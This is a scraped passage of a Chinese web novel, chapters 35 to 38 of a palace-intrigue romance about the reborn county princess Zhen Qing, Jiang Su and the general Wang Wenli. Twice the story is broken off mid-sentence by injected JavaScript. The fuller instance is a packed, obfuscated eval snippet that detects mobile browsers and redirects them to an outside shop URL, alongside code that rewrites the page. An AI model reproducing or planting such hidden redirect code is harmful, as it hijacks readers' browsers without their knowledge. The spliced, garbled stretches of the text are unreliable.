极尽的距离让枕清将人看得清清楚楚,她抬眼望进江诉的眸光中,看到江诉那双平静的眸子内有罕见的压抑,但只有刹那,又似被风吹散开了。 枕清觉得自己晃了眼,抱紧自己的膝盖,嘴巴里的苦味依旧没有消散开来,身旁就连冲淡味道的水也没有。于是她轻轻将下巴抵在膝盖上,乌黑的长睫垂下,在脸颊处投下一层阴影,彼时的枕清显得无比乖顺。 可江诉不信,但也见不得枕清这般惹人怜。 于是拿出了一颗糖。 并不是什么稀奇玩意,就是很普通的一颗糖,哄小孩才会见到的东西。 枕清眼神微动,她别有深意地微笑,并没有伸手接过,而是就着江诉的手,含住了那一颗糖,唇瓣有意碰到江诉的指尖。 两人都没有开口说话,直到枕清嘴中的苦味被冲淡至没有,她才出声。 “江诉,你是不是在怪我,怪我没有告诉你。” 江诉蜷缩方才残留唇瓣温度的手指,缓缓摸索握紧,心里像是被某种情绪撩拨后,无法平静。 他面色淡淡,叫人看不清他的思绪,江诉对枕清所说的话心中明了,却依旧从喉中发出不解:“嗯?” 月光透过树梢,冷寒的光彩倾泻在两人身上,枕清看着他这一身淡雅的衣裳,被白霜般的月光洒下,更显清寒。 江诉的眸光晦暗,垂下的眼睫显得更为幽深,原本如同清波淡然的目光不复存在,枕清好像看到江诉身体内有另一个灵魂游离出来。 不受控制,也难以抑制。 在这样的眸光下,好似林木中凶恶的猛兽,在夜晚虎视眈眈,伺机而动。 枕清心中虽有意外,但她并不害怕,也没有要刨根问底去深究的意思,只是拿出张宣晟最擅长的样子,语气服软:“你刚才的动作好凶,我疼。” “让宁千渝假扮你好玩吗?”江诉掠过枕清的神情,一桩桩一件件地指出她这几天的行径。 江诉低垂眼,眼神平静沉稳,语调却冷冽:“独自来城外好玩吗?现在染上疫病你觉得好玩吗?枕清,你自己心里知不知道你现在究竟在做什么?” 声音没有往日的平静温和,但也没有咄咄逼人的意味,只是很失落,抑或是失望。 枕清反问:“你觉得我出来只是为好玩吗?江诉。” 江诉道:“不为好玩,为你的英雄梦?那也得要看别人稀不稀罕了。” 这里发生的事,没有逃过江诉的眼线。枕清紧紧抿唇,发现江诉已经不是上一世的他了,他甚至会在城郊外布置眼线,监视着长安城内大大小小的事情,以及她的行踪。 上一世的她让江诉远离是非之地,现在的江诉还是要搅上这趟浑水。 枕清冷硬道:“我所做的事情,皆是自己心甘情愿,无论如何,我都不后悔。” 江诉身子微侧着,与枕清隔着不近不远的距离。他盯着枕清看了好一会儿,反问道:“就如同上一世?” 被仇恨所蒙蔽,含恨而终? 枕清离火堆远,依稀能借着月光看清江诉现在的模样。 一身清冽寒芒。 她突然笑了,那笑容并不是高兴,反倒有些无奈。 “所以你觉得我上一世走得很可悲吗?那还不是多亏江侍郎袖手旁观。”枕清曾居高位,最喜欢猜测旁人最重视什么,也知道说出什么话,扎人最痛。 果然,江诉沉默了。 锋利的言语,枕清从未落过下风,可这一次,枕清也没觉得自己赢。 虽然这话让江诉听得难受,但她也没有好到哪里去。 这大概就是伤敌一千,自损八百。 良久后,江诉抬起眸子,安安静静地凝视她,“那时候的你,真的想求我帮你吗?” 声音平静到听不到一丝波澜起伏。 但在枕清心中掀起了巨大的浪花,像是一颗巨大石头猛地投入湖中,直叫人胸口发闷。 而江诉那双平静幽深的眸子,似乎变成了这里最冰冷的风,在此时此刻无孔不入,刮过她每一寸皮肤,撞进她心底的每一个地方,而枕清所有的心思和算计,在他面前,无处遁寻。 她自以为永远都不会被人知道的事情,被江诉发现了。 血淋淋的。 将她撞得面目全非。 36. 月皎惊鸟晓无迹(三) 夜晚深沉,乌云遮挡住了大片的光彩,看不出一星半点的亮色。枕清全身上下都有着巨大的痛楚,身上极为寒冷,就连心也跟着下坠。 她这人向来不喜欢对亲近的人撒谎,也不屑于说谎。 的确,她从来都没有想过江诉会帮她,也没有选择过江诉。 “没有。”她不自然地说,“我从未想选择你,我只想你永远记住我。” 枕清的声音很轻,虽然被痛折磨到疲软,可喉咙间发出的声音柔而不弱,甚至还能听到里边夹杂这意味不明的清冷。 乌云在冷风过后,轻轻吹开了一点光彩。 就好像有什么东西在心中开始冰封后,又被解冻。 不是旁人的原因,而是她自己的心需要她自己去接受。 “江诉,我从来都不是个道德高尚的好人。” 这件事,江诉从一开始就知道了。 枕清微微抬起下巴,她感知到江诉今夜的变化。 她正如从前那般,抬起纤细的脖颈缓缓靠近,却又察觉到自己现如今疫病缠身,不应该和江诉靠得这般近,于是探前的身子顿了顿,又缓缓朝后退却,直到脊背抵住身后的树,才放松下来。 她们的距离并没有因为她方才的凑近而近,现如今也没有因为她的退却而变得更远。 无论前还是后,江诉都在原地,毅然不动。就好像是一棵枯木,他既不会随着她凑近而后退,也不会因为她后退,而紧张地往前。 更像是知道无论如何,她枕清永远都不会离他江诉太近或太远。 枕清望向江诉,他没有情绪的目光很沉静,甚至参杂一丝寒凉,她好像知道那冷意是从哪里来的,却没有说话。 江诉低垂双眸,一直默默注视着枕清的神态、动作,看到她蹙眉,看到她松懈,看她探究又胆怯。 江诉忽然探前去,伸手抓住枕清微微颤抖的手,手指和手腕贴住,将人无声拉近。 彼时的江诉也不避讳此时还在生病的枕清,更不顾及如此距离是否真的会染上他。 枕清轻轻说:“江诉,你是个好人。” “谁说的?”江诉歪了一下头,视线同她齐平,“我从来不自诩自己是个好人。” 枕清还想再说点什么,却看到江诉的神情和以往不同,明明现在还是这样的祥和平静,可依旧让枕清觉得无措。 她和他的距离很近很近,可两人都是裹着一层漂亮的外皮,心中有万般算计,于是,无论心意如何,都踏不过这道防线,依靠在一起的身体,也犹如天埑。 枕清害怕的东西看似很少,其实很多;江诉看似对谁都很好,其实对谁都漠不关情。 江诉没有什么在意的东西,可在今夜,他真的害怕枕清出事。他对这个世界并不留恋,唯独不想再失去枕清。 纵使枕清觉得他只是披着人皮的异魂。 枕清不知道江诉的想法,只觉得山雨欲来风满楼。 吹得人心凉凉。 “江诉,今日的你好像变了。”枕清道。 “是吗?”江诉淡声说,“我也不知道县主这般会藏,先是让宁千渝来,再是一直欺瞒着我们所有人。” 瞒着所有的事情,以及那般沉重的心思。 “你是什么时候发现的?” “张宣晟。” 又是他。 枕清并没有感觉到意外,这个世界上本就没有不透风的墙壁。 这件事本就是她做,她也没有去为自己辩解,于是缄默着。 皎洁的月光洒落在寂静的城郊外,俊采星驰,夜织天丝,点缀着无尽的黑暗,洒下温柔的光芒。 草木中细细簌簌的声音传来,伴随着几声浅浅的脚步,枕清当即朝外看去,江诉一把拽住枕清,两人一同朝另一个方向倒去,在要磕碰到地面时,江诉的手掌紧紧护在她的后脑勺上,没有给她任何一点的反应。 整个身体都在被轻轻地护着,既没有失重,也没有疼痛袭来。 直到枕清听到有人经过此地,发出小声的疑惑,又探了回去。 枕清听到那人的声音,是仇羌。 大概是他送药方来了。 她正要起身,江诉制止了她的动作。枕清并没有过多担忧,如果现在出声,还让江诉知道了仇羌的存在,还是按兵不动更好。 于是她安安分分躺着,惬意地望着天空。 她不需要仰头就能看到万点繁星,以及在身前的江诉。 现在江诉的在枕清眼中是巨大的,树木在江诉身后,天空和万籁星辰也成了他的背景。 枕清乌黑漂亮的眸子,好似只承载了一个江诉。 江诉差点溺死在这样的温柔乡情中。 虽然他没有忘记今日来的目的,可依旧在枕清身侧躺下。 耳畔只闻风穿山林,鸟啼虫鸣。仰望的迢迢银河仿若近在咫尺,恰似真以天为被,以地为床。 枕清瞧了一眼旁边的人,并没有再开口说话。而是想着宁千渝假扮她的模样虽然没有逃过江诉的眼睛,但瞒住禹王不成问题。 天边泛起了鱼肚白,两人一前一后地走到城门外,江诉带着自己的令牌示意,竟也可以回来。 很多规矩就是可以打破的。 如果不能打破,那就破坏规则。 枕清回到长安城内,先是回了禹王府,问起了这两日的事情,知道齐离弦离开了长安,她不意外,反倒是知道阿之奎把草药又卖给了长安城内好几间药铺子,心中升起一点疑惑。 是什么原因让阿之奎改变了主意。 江诉给她喂的药已有起效,她并没有被这个疫病折磨多久。 翌日一早,她见到了禹王,禹王眼底有淡淡的青黑色。 这段时日朝中忙碌,他定是熬夜批劄子。 枕清并未表现出多关心的模样,只稍稍点头喊了一声阿耶,禹王颔首,说了几句家常话,又往宫中去了。 而陆佑善也在今日找上了她,她们二人如同上一世般,又一道去了陆家府邸。 陆家女娘们纷纷前来相见。 陆家老夫人是个人精,知道枕清身为县主,身份尊贵,若是她们陆家女郎能在县主这里牵桥搭线,前途不可限量。 枕清知道陆家势大,后院里各个都是人精,围着她团团转后,都快让她喘不过起来。原本陪她一道来的陆佑善竟默默待在了最外侧,枕清向来不顾及旁人的面子,挥开了凑过来的女郎们,径直朝陆佑善走过去,又将她拉过来,二人并肩。 任谁看了都知道陆佑善在枕清眼中是最不一样的,也是最为亲密的。 对于陆佑善攀上了高枝,心中虽有嫉妒,但碍于县主面前,没人会自找不痛快。 老夫人把枕清的动作看在眼底,眼中的笑意浓郁,和蔼问道:“禹亲王可好?你家耶娘是哪儿的人?” 不少人也竖起耳朵听,毕竟禹王府的事情,外人所知甚少。 “阿耶自是极好,不过,我没有耶娘。”枕清略过众人闪烁探究的目光,最后将视线停留在老夫人面容上,微微一笑道,“你们怕是不知,我是养女。” 众人皆是愕然,禹王可从未对外人说过枕清是养女,大家都以为是...... 竟是如此! 枕清察觉到老夫人的手有松开的迹象,她并不意外,反倒是自己先撤回了手,垂下的那一瞬间,陆佑善握紧了她的手腕,好似在给她一股新的力量。 出了陆府,陆佑善知道枕清是故意告诉她们自己是养女的身份,可是她不明白枕清为何要这么做,明明上一世并非如此。 陆佑善问:“你为何要说自己是养女,你就不怕别人看不起你?” 枕清笑道:“事实如此。” 世界本就没有不透风的墙。这话是早上说的,下午便被传得满城风雨。 这些话落进了禹王的耳朵里,那便是枕清受了天大的委屈,甚至还来她屋门前,给她撑腰道:“若是被我发现是谁在背后乱嚼舌根,我杀了他!” 枕清打开房门,冷静道:“如果是我呢,阿耶也要杀了我吗?” “......” 禹王看一向乖顺的枕清这样冷漠,好似再问下去,他们的父女情谊要分崩离析,便怏怏咽了声。 不明白为什么枕清看向自己的眼神有些失去往日的光彩,大概是这事闹得太大,如同小时候顽劣的孩童们的嘲笑,让枕清不高兴了,只是禹王隐约能从枕清的眼神中看到一种决绝。 虽然不知道这种决绝是什么,但好像就是有一种东西要永远的失去了。 这件事还是被禹王压了下来,长安内讨论的风向虽然少了,可是所有人都已心知肚明枕清并非是禹王亲生的,自然不会觉得县主有多么地高不可攀。 甚至还有人幸灾乐祸地耻笑。仿佛嘴上几句,便能获得无上快感。 直到他们被抓了,大家才知道,纵使枕清是养女,只要禹王护着,除了太后殿下,她依旧是大启最尊贵的女子。 花明跟罗长观走进牢房里,笑嘻嘻问看守人:“他们可是犯了事情?” 那人简单说了一下,待在牢房里的人听到后,委屈补充道:“话是早上说的,人是下午被抓的。” 花明悠哉游哉从他们面前走过,留下一句:“活该!” 两日后,城外的疫病逐渐消失,城门也不再被严防死守。 长安城内又传出是一位特别厉害的医士将人医治好的,给了两贴药就见效了,堪比神医的消息将禹王养女的声音生硬地压了下去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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枕清并不想去参加这场宫宴,更不想在太后殿下和圣上面前露脸,于是说自己染上了风寒,需要静心修养。 即使太后殿下点名了要枕清去,枕清也只是跟禹王略微说一声,禹王也拂了太后的面子,说她需要在禹王府静心养病。 本来那件事就闹得沸沸扬扬,想看乐子的太后殿下没看成,便把气发泄在旁的地方。 原本就不喜欢禹王的太后更加厌烦,但彼时的禹王如同摄政王,朝中大小事情都需要经过他的手,再加上世家们都有同气连枝的迹象,她势必不能闹翻,最后只能自己吞下这口气。 但又不知道从哪处开始,传出了她体弱多病,只能一直待在禹王府中静养,又说禹王爱女如命,叫人艳羡。 她还能听到包启元在讨论,说着县主到底是何方神圣,竟然如此神秘,除了上回春日宴会上远远见过一面,再也没见那位县主出现过了。 话音刚落,包启元还抬手拱了拱枕清的手臂道:“据说县主是养女的传闻还是县主自己在陆尚书家说的!禹王听到此事后,甚至在朝中刁难一番陆尚书,最后被沈阁老压下才作罢。诶,难道你们不好奇吗?据说这县主长得美若天仙,但脾气坏得很!她竟然还敢让太后殿下失了脸面,外边果真说得没错,禹王爱女如命。” 枕清抬眸,抬起下颚,露出纤细又脆弱的侧颈,她唇角弯起笑容,神情漂亮又魅惑。 她缓缓道:“那你觉得我和小县主,到底谁更好看?” 包启元被枕清这勾人的模样颤得不敢说话,随后望向陈谷,战战兢兢道:“还好我不是断袖,不然真的要被你勾得魂都没人!好哥哥,你以后千万不要再显露这样的神情于我面前,我真的害怕!” 说完,还要走到陈谷旁边,皱起眉眼控诉:“你这样仿若失去常态,错乱到我都浑身大激灵。你是不是也这样啊,陈谷?” 陈谷散漫地瞧了眼枕清,他压低眼尾,唇角露出的玩味一闪而过,他装作被点名似的,轻轻“昂”了一声。 “你说是就是吧。” 听到这话的包启元不高兴道:“什么叫我说是就是吧,你到底是不是个男人!能不能有点自己的想法,桑博士不是说过这么一句话吗?” 陈谷表现出懒洋洋地听着,却半点都没有听进去的意思,反倒是意味深长地看着枕清。 枕清暗含深意地回视陈谷,他们两个人好像经过那次疫病,都有些心知肚明彼此是什么样的人。 只是枕清还是不知道他是怎么把义宁拉入局中,再推上那个位置。 他究竟是想帮义宁,还是想害他。 37. 月皎惊鸟晓无迹(四) 此次疫病来得古怪,待长安城郊外的疫病逐渐恢复,太后与圣上命刑部大力彻查。 这一查不要紧,要紧的是,这件事居然和王闻礼有关,而阿之奎早就把自己摘得干干净净。 长安各间药肆纷纷大赚一笔,而背后大量收草药的商贩因为疫病好了后,纷纷砸在手中,叫苦不迭。 只是没想到没想到这背后之人还有王闻礼的一份。 这是既是在她预料之中,也是意料之外。 太后殿下视王闻礼为眼中钉,害怕他回了陇右,于是将他围困在长安城内,又有匕首威胁的谋害之心,更不可能再放虎归山。 背后耍点心机和手段的人不止有枕清一个人,还有早就想除掉王闻礼的阿之奎。 枕清从未想过,自己的心思会同阿之奎活络到一起去。 而在上一世中,王闻礼围剿悍匪,攻打吐蕃,声名大噪,无比显赫风光。可大启虎视眈眈的人多,害怕的人更甚,现如今的天下之后表面和平,其背后的势力盘根错杂、波涛汹涌。 这样的能人有扭转局面的能力,自然也有雄心勃勃的壮志。 因此阿之奎也惧怕王闻礼,既然搅不起长安城内的风雨,那么便来了一招祸水东引,暗指这次疫病都是王闻礼的手笔。 至于他呢,自然是挥一挥衣袖,留下一片狼藉后,走了。 虽没有到达自己的目的,不过这一次长安,他也没白来。 王闻礼那边,还没有出任何的结果,事情就已经被安排得明明白白。 待王闻礼回味过来,他正想着自己除了被构陷的把柄,几乎没有可以叫人抓住的圈套。 当下所有人都知道他底下的几间药肆有大批药材,蓄意抬高价格,赚得盆满钵满。 而他要这么多钱,为何? 可以说他想要养兵。 他又想起来,枕清和陈琅曾经来过他的府邸。 记得之前陈琅听戏曲后,说自己在府上花的费用自己来出,只为了要回枕清的手镯,不过王闻礼思考许久,最后还是同意了陈琅。 毕竟陈琅给得大方,而他也没必要和钱过不去。 一个手镯和万两黄金他还是分得清的。 这已经是许久前的事情,王闻礼不知道自己当下为何突然想起来,他记得那是一箱箱的金子在夜晚送过来,他只是随意打开两箱,就命人搬到了秘阁。 王闻礼心中大恸,他再次前往秘阁,拿起最上面两层的金子,便发现底下都是刀剑利器。 这些事并非突然袭来,而是早有预谋。 这是要将他压上谋反的死罪! 徐瀚来通报,罗长观带着大批人马来了,快要将府门围得水泄不通。 王闻礼突然笑了,看着那金灿灿的金子,忽地,怒不可遏地将盖上这藏着兵器的箱子,回头吩咐:“走密道,回去!” 徐瀚欣喜道:“陇右吗?” 王闻礼冷声颔首:“连夜回去。” 徐瀚高声道:“是!” 他回身兴高采烈地同伙伴告知这个消息,随后又啐道:“他娘的,老子早就不想待在这个破长安城里了!都是一群狗眼看人低的玩意!” 他们这群人身上都有野性,对于长安城豢养的风气着实不喜欢。 王闻礼摩梭着自己的玉韘。 这个密道并不止有他们知道。 枕清也来过府邸,或许也曾偷偷摸索过。 怪不得会跟着他回府,原来她这么早就开始打算致他于死地。 小女郎啊,心真狠。 罗长观的人马来得很快,可王闻礼的人更甚。进门的时候,察觉到府邸安静得听不到一丝声音,不出片刻,竟然已经全部撤离。 人去楼空,一定有密道。 果真是被枕清说对了,好在此前,分了一拨人马给她。 花明跟在罗长观身旁,看到满箱的金子,拿出两块放在手中把玩,漫不经心地瞧了眼罗长观,用手肘轻轻撞了下身旁的封奇侃道:“好多金子啊。” 封奇侃随着她声音,望向她手中的金子,这段时间的相处,他自然清楚花明是个小财迷,甚至跟罗御史有种暧昧不清的情绪。虽然他聪明伶俐,心思活络,可他从来都不知道他家御史大人还是个有感情的断袖? 封奇侃干巴巴地附和道:“是啊。” 罗长观静静睨着他们两人逐渐贴近的手臂,眉尾一挑,随后一把将花明拽过来,朝封奇侃命令道,“搜。” 花明毫无察觉罗长观冷冽的语气,正想要和封奇侃一同去搜查,没想到封奇侃瞧了眼她和罗长观,便一溜烟就跑了。 刚才还是好好的,怎么现在见她就跟见到了豺狼虎豹似的,花明还在胡思乱想中,不料在下一刻就被罗长观握住手腕骨,走出此地。 密道的确是枕清来到王闻礼的府邸后才知道的,但并非是她偷偷摸索过,而是她听到有人说这里有通往外边的密道,而且游过护城河,便能通往城外。 她也猜到王闻礼会有所察觉,于是她带着仇羌一起来了。 仇羌笑笑道:“真是难为小县主还能记得小的。” 枕清没有理会仇羌的嬉皮笑脸,而是看着地上的影子缓缓向东移,她等的人应该快要来了。 他们在这里已经布置了陷阱,如果大抵此地,不死也伤。 约莫等了半刻钟,王闻礼出现了,只是令枕清没想到,他身后还有不少的人马簇拥着他。 王闻礼见到枕清也不意外,他早就知枕清会在此地等他。 毕竟谁也不想放过能将他一网打尽的时候。 王闻礼原以为自己会非常的生气,因为被一个女人给耍的团团转,可是真见到枕清的时候,他居然有些消气了。 “小县主,又见面了。” 枕清把玩手边的野草,好似不知道他因何而狼狈的样子,慢悠悠道:“王长史这是要去哪里?圣上下旨说要面见你,怎么?不和圣上打声招呼再走吗?” 王闻礼避而不答:“你想杀我?” 原本被她把玩的野草倏地被她扯断,枕清神情忽地一冷,随之笑意也僵了一瞬,下一刻又换成无所谓的模样。 “没有,只是奉旨请你回去。” 王闻礼怎么可能会再回去,按照太后的性子,一定觉得他有谋反之心,甚至判他畏罪潜逃,而长安城内的所有人只会把他判死在长安这个地方。 他回去,必死无疑。 “若我不回去呢。”王闻礼道。 枕清微笑道:“那就只能叫人请你回去了。” 话落,枕清身后的侍卫开始上前,和王闻礼的人马打成一团。王闻礼带过来的那些人上过战场,训练有素,各个都是以一敌十的好汉,好在之前的陷阱布置得多,那些人也受了伤,现在动手也只是勉勉强强地维持着。 仇羌抱臂观看他们凌厉的招式,丝毫没有要上去帮忙的觉悟,直到枕清微微侧过脑袋,冰冷的眼眸落在他身上,仇羌猛地激起一个颤意,忽地喊道:“这厮难打,我来帮你们!” 枕清并没有觉得哪里不妥,她冷眼地看着人一个个倒下。 一直到最后。 她这边剩下的人寥寥无几。 是她低估了王闻礼,还有他的手下。 果真如传言那般,骁勇善战。 所以阿之奎会怕很正常。 王闻礼半边脸已经发麻,他用舌头顶了顶上颚,凝视不远处的枕清。枕清平静回视,望见王闻礼眼中暗含杀意。 枕清知道这股杀意是冲她来的,直接又狠戾。 因为疫病,枕清身子骨并未好利索,对于扑面而来的肃杀之气,忽地难以挡住,可在王闻礼狠劲地动作下,她使用巧劲也没让自己落了下风。 他们一来一回的招式下了死手,每一次都是朝着彼此的性命去的。 最后还是枕清败了下风,她从袖中拔出匕首,刺向王闻礼时,王闻礼猛地抓住她的手腕,当即折断她的手,手掌连着手腕被弯曲成一个诡异丑陋的状态。 枕清被这一动作痛到面色惨白,紧握的匕首随即掉落在地上。 还未回过神来,在下一瞬,王闻礼突然欺身上前,她的脖子猛被王闻礼桎梏着,脊背几乎被撞到粗粝巨大的树干之上,两面受击。 王闻礼漆黑深邃的眸子盛着寒冷,嘴角挂着狂妄嗜血的笑意,他欣赏着枕清的痛苦,讽笑道:“你真的是想要我死呢?” 逼近死亡,是个人都会服软。 只要枕清说没有,只要她愿意骗一骗自己,那么他,他或许真的会放过她。 枕清咬住嘴唇,硬生生没让自己发出一丝痛呼,她扯着笑说:“是啊,我想要你死。” 是了。 倘若枕清真的会对他服软,他们也走不到这般地步。 王闻礼挑眉歪头,冷硬道:“理由。” 枕清额头泌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665329|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出冷汗,她疼到仿佛用气息在说话:“你不能为我所用,甚至在日后能成为我强有力的对手,这个理由你满意吗?” “不错。”王闻礼承认这个事情的确很有可能发生,但是他不满意这个回答。 他曾说过枕清若是害怕,可以跟着他,他自然会好好对她。 可是她居然想要他死! 他的承诺,他的退让,让他觉得自己这样的行径十分可笑。 王闻礼已经冷静下来,幽暗深邃的目光垂下,缓缓凝视枕清,巨大的压迫着让枕清难以喘息。 他并未收敛自己手中的动作,依旧粗劣地禁锢着枕清。 忽然觉得枕清唇瓣上的血渍极为刺目,王闻礼便抬起手,用拇指抹开了枕清嘴角的血,似乎想到了什么,又把血抹到枕清的眼睑下,在惨白的小脸上更显妖冶,也更脆弱。 枕清的另一只手失了力气,浑身都疼到颤抖。王闻礼的手很有力,有种不容置疑的气势,她就像是被最粗的铁链禁锢着,让她难以逃脱。 她听到了有大批量的脚步声传来,知道自己的机会来了。 王闻礼也敏捷地觉察到还有另一番人前来,寻着声音探去时。枕清用尽所有的力气摆脱王闻礼的桎梏,用尽全身力气,用之前备好的药粉快速洒向他的眼睛。 王闻礼立时觉得双目辛辣,他刚想重新将枕清压回去时,徐瀚匆忙跑过来拉住王闻礼,说罗长观带着大部队来了。 现在的他们已经没有任何力气再去打斗,无法和罗长观的人马硬碰硬。 “杀了她。”王闻礼怒道。 眼看着罗长观的人来了,他们都已经自身难保,自然不可能再回去杀枕清,更不可能放纵王闻礼此时动手,他们的首要任务就是护送王闻礼离开。 枕清自然也听到王闻礼的怒意,原本浑身卸力弯下的腰肢缓缓挺直,姿态高傲又冷漠,像是在极寒之地盛开的雪莲,让人望尘莫及,而方才的狼狈仿若错觉。 她冷笑威胁:“王闻礼,离开长安了,就永远都不要再回来,不然我也真的会杀了你。” 罗长观的人马还是晚来了一步,枕清已经骨折的手一碰就痛,若是再拖延会,那便真的废了。 她惨白的脸面无表情,隔着皮肉甚至还能摸到骨头的形状,她忍着痛,随后利落快速地将弯曲的手骨接了回去,最后只听到骨头回归后咔嚓的声音。 刚接上的手腕并没有立马好,她的手松松垮垮地垂下,像是被随意摆动的物件,仍谁都能碰一下,毫无反抗之力。 枕清虽然被痛到冷汗直冒,但一声不吭。 一旁的仇羌啧啧称奇,“真是狠心啊,自己接骨头,面不改色啊。” 枕清没力气理会仇羌的阴阳怪气,彼时的仇羌也挂了彩,她们一干人没捞到一个好。 罗长观问:“王闻礼呢?” 枕清冷着脸道:“死了,畏罪自杀。” 罗长观心知肚明这里没有王闻礼的尸体,听枕清这样讲,也没有多说什么,直接道:“把此地烧了,跟太后殿下复命,王闻礼已伏诛。” 罗长观不知道枕清为什么会放过王闻礼,他瞧着这片空地火势越来越大,他突然问:“为何放过他。” 枕清露出自己被勒红的脖颈,和红肿不堪的手腕,甚至脊背后还有被摩擦出惨烈血迹。 一时之间,叫罗长观分不清到底是枕清放过了王闻礼,还是王闻礼心软留了枕清一命。 他们二人的伤口都极为致命,明明往死手下,却偏偏都逃脱。 枕清冷哼,低声讥讽道:“你为什么会觉得我放过了他?那还不是罗监察御史给的人马太少了。” 这话中的嘲讽任谁都能听出来。罗长观确实没信枕清,因此留给她的人并不多。谁知道枕清和王闻礼又有什么瓜葛,或许真是沆瀣一气,这叫罗长观怎敢多给? 刚想为自己辩解一句,枕清恰似知道他的想法,声音略微拔起:“既然已经伏诛,再多的话也不必多说,罗监察御史回去复命吧,好了却太后殿下的一桩心事才好。” 枕清的手腕疼到磕不得碰不得,实在难以忍受。 禹王府没有了义宁的身影,枕清随便找了一家药店,抹点膏药,便用宽大的长袖遮掩住了惨不忍睹的伤口。 不用怀疑,王闻礼确实有要废了她这只手的意思。 而她也没有手下留情,王闻礼若是没有得到极好的医治手段,眼睛也会瞎了。 38. 月皎惊鸟晓无迹(五) 王闻礼下手狠厉,这些日子她并未去太学,而是告了十多日的假。 枕清安安静静地躺在院子里养伤时,江诉过来告诉她,陈谷和包启元来了江府,说是要见她。 枕清很轻地啊了一声,这两个朋友算是没白交。 不过枕清并没有去见包启元和陈谷,也让江诉回绝了他们两人。 一来是她并不住在江诉家,更不是江诉的亲人,二来是她现在还不想在身份暴露,再日后扯皮起来,又让旁人觉得她跟江诉有瓜葛。 她身上的伤口并没有让旁人知道,王府上下,除了宁千渝知道她受伤了,旁人都未曾察觉,只觉得枕清玩腻了,不想再出去。 但是她一如反常的状态被江诉抓包了,江诉是在罗长观那边听到了王闻礼的消息。众人对于王闻礼伏诛的消息既惋惜又担忧,只有江诉知道枕清那日也去了,来到王府时发现她将自己的脖颈处用袄子裹住,且手摆动的动作并不大,便知道她又受了伤。 王府内都知江诉和禹王的关系极好,走得也极近,阍人已经识得江诉,便也无需通报就能进来。 枕清看到江诉从上至下打量自己,她忽然有些不自在,但江诉却走上前轻轻揭开她特意围住的袄子,脖子那一道深硬的红色痕迹逐渐曝露在江诉眼前,江诉只瞧一眼,便能想象到那人的力气有多么蛮横残忍。 今日的枕清穿着粉黛色的诃子裙,腰间挂着一串玉石,华丽贵气,裙摆衣袖宽大,随之走动,袖口随风而动,更为飘逸灵动。 枕清并不是个任人摆布的人,现下的姿态,让江诉有一种错觉。 让他觉得枕清是一朵养在温室中的花。 他用手背试探性地碰上枕清的脖颈,见枕清并未反感他的动作,缓缓抚摸喉咙处的痕迹,似安抚,又似怜惜。 枕清最脆弱的喉颈第一次显露在外人的面前,也第一次这么甘之如饴地被触碰。 若是江诉起了杀心,现在的她必死无疑。 并非是枕清有多信任江诉,而是她在赌江诉不会。 江诉感知到枕清心有力的跳动,感知到枕清身上的温度,他心中微颤,忽然有些留恋这样的触感。 “江诉,我不是一个死人,也不是如你所想那般,一个轻飘飘的纸片人。”枕清抬手覆盖住江诉的手,让江诉的手触碰到下颚,手掌抵在锁骨上。 枕清微微上抬双眸,整个人犹如从江水出来的,浑身泛着波光粼粼的水渍,叫人要沉溺在这片深海内。 江诉眼神一动,他一点点感知枕清身上的温度。枕清轻轻说:“现在陇右长史的位置空缺,太后殿下自然会安排信任的人补上。” 枕清注意江诉的神态,发现他已经停住了动作,于是更加放肆地上前,循循善诱道:“我知你会文会武,所以,我想你坐上那个位置,直上青云。” 直上青云。 多么有诱惑力的话。 可惜枕清面对的那人是江诉。 江诉目光平静沉稳,他强硬撤回自己的手,淡淡问道:“你想要我离开长安?” 枕清感受到喉咙的温度消失,她收拢泛滥的神色,正色道:“你不愿意?” 江诉好笑道:“你为什么觉得我会心甘情愿地离开长安?” 枕清反问道:“若是我陪你呢,你还心不甘情不愿吗?” 陪他? 那么枕清势必要放下禹王府县主的身份,这样才得以逃脱。 “看来县主已经做好了选择。” 江诉似笑非笑地望向枕清,枕清却轻飘飘地笑说:“是啊,现在就看,江中丞是否愿意舍弃这个位置了。” 枕清不再多言。 半个月后又回到了太学,包启元一如既往地叽叽咂咂,直到枕清拿出商震送来的荔枝,才歇停了嘴。陈谷依旧在课堂上昏昏欲睡。 枕清反倒是朝宁千渝看去,发现她正抬头认真看着博士。 是位好学的女娘。 今日的枕清并没有跟陈谷他们一同在课堂上打瞌睡,而是百无聊赖地听着博士的讲解。最近因身体不好的缘故,江诉都会在外边等着她下学堂。 不出意外的话,枕清会安安分分地等待下课,跟着江诉一同回去。 可惜出了意外。 今日讲得是有教无类。 所有教育应该对所有人开放,不分贫富、贵贱、智愚、善恶等。 枕清突然站起身道:“既然先生教授他们有教无类,可我好奇怪,既然有教无类,为何这太学千余弟子无一女儿身?莫非这所谓的无类,也只是有类后粉饰无类罢了。” 被学生驳,博士的眼神闪躲,忽地被堵得哑口无言,之后觉得自己被拂了面子,于是怒指她道:“你是哪家小儿,莫要信口雌黄!” “先生还没有回答我的话呢?”枕清死死咬住不松口,步步紧逼。 气氛一下子剑拔弩张,让不少学生心神微动,既有看好戏的趣味心,也有害怕被祸及的担忧。 一旁的包启元见状,拍案而起,既像是为枕清围解,又像是自己产生的不满,他高声道:“就是!没什么没有女娘,全部都是郎君,整日看着这些个臭男人,着实没心思!” “我也不明白。”陈谷也跟着包启元懒懒起身。 谢长均猛地站起身来,高声道:“我亦是如此觉得!” 倘若说包启元和陈谷站起来替她说话,她并不觉意外,反倒是只有几面之缘,甚至知道她身份的谢长均,叫她不曾料到。 枕清微微侧过脖颈,目光轻轻地落在谢长均身上,但谢长均只是对她笑笑,并没有和她有过多的神情交流。 